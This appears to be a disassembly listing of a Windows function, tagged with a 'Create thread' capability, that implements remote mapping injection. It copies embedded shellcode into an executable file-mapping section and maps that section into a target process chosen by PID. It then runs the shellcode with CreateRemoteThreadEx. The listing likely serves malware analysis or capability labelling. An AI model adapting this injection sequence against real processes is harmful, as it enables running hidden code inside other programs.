Function at 0x140011280
Capabilities:
Create thread

Disassembly:
jmp 0x140011ac0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x3f0
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x8c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x418]
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x3a8], rax
lea rcx, [0x1400240a2]
call fcn.140011393
cmp dword [rbp + 0x3d0], 2
je 0x140011b2c
lea rcx, str.Usage:_43_remote_mapping_injection_PID_n
call fcn.1400111a9
mov eax, 1
jmp 0x140011dfb
lea rax, [rbp + 0x10]
lea rcx, [0x14001ace0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x146
rep movsb byte [rdi], byte [rsi]
mov edx, 0x146
lea rcx, [rbp + 0x10]
call fcn.1400113a7
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x3d8]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [rbp + 0x174], eax
mov edx, dword [rbp + 0x174]
lea rcx, str.____lu_n
call fcn.1400111a9
lea rcx, str.___CreateFileMappingNumaW___n
call fcn.1400111a9
call qword [sym.imp.ucrtbased.dll_getchar]
mov dword [rsp + 0x30], 0xffffffff
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x146
xor r9d, r9d
mov r8d, 0x40
xor edx, edx
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CreateFileMappingNumaW]
mov qword [rbp + 0x198], rax
cmp qword [rbp + 0x198], 0
jne 0x140011bee
lea rcx, str.____CreateFileMappingNumaW_returned_NULL_____n
call fcn.1400111a9
mov eax, 1
jmp 0x140011dfb
lea rcx, str._t___Success_n
call fcn.1400111a9
lea rcx, str.___MapViewOfFileExNuma___n
call fcn.1400111a9
call qword [sym.imp.ucrtbased.dll_getchar]
mov dword [rsp + 0x30], 0xffffffff
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0x146
xor r9d, r9d
xor r8d, r8d
mov edx, 2
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.KERNEL32.dll_MapViewOfFileExNuma]
mov qword [rbp + 0x1b8], rax
cmp qword [rbp + 0x1b8], 0
jne 0x140011c65
lea rcx, str.____MapViewOfFileExNuma_returned_NULL_____n
call fcn.1400111a9
mov eax, 1
jmp 0x140011dfb
mov rdx, qword [rbp + 0x1b8]
lea rcx, str._t___Success:__p_n
call fcn.1400111a9
lea rcx, str.___Memcpy_shellcode_to_mapped_memory_view___n
call fcn.1400111a9
call qword [sym.imp.ucrtbased.dll_getchar]
mov r8d, 0x146
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x1b8]
call fcn.1400111c7
lea rcx, str.___Done_n
call fcn.1400111a9
lea rcx, str.OpenProcess__
call fcn.140011357
mov r8d, dword [rbp + 0x174]
xor edx, edx
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x1d8], rax
cmp qword [rbp + 0x1d8], 0
jne 0x140011cf9
mov edx, dword [rbp + 0x174]
lea rcx, str.____OpenProcess__lu__failed____n
call fcn.1400111a9
mov eax, 1
jmp 0x140011dfb
mov rdx, qword [rbp + 0x1d8]
lea rcx, str.___Process_Handle:__p_n
call fcn.1400111a9
lea rcx, str.MapViewOfFile2_to_target_process__
call fcn.140011357
mov dword [rsp + 0x30], 0x20
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x198]
call fcn.14001111d
mov qword [rbp + 0x1f8], rax
cmp qword [rbp + 0x1f8], 0
jne 0x140011d79
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____MapViewOfFile2_returned_null_____d_n
call fcn.1400111a9
mov eax, 1
jmp 0x140011dfb
lea rcx, str.CreateRemoteThread__
call fcn.140011357
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x1f8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov qword [rbp + 0x218], rax
cmp qword [rbp + 0x218], 0
jne 0x140011ded
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Couldnt_create_remote_thread_____d_n
call fcn.1400111a9
mov eax, 1
jmp 0x140011dfb
lea rcx, str.___Done___n
call fcn.1400111a9
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001ac80]
call fcn.140011325
mov rax, rdi
mov rcx, qword [rbp + 0x3a8]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0x3b0]
pop rdi
pop rsi
pop rbp
ret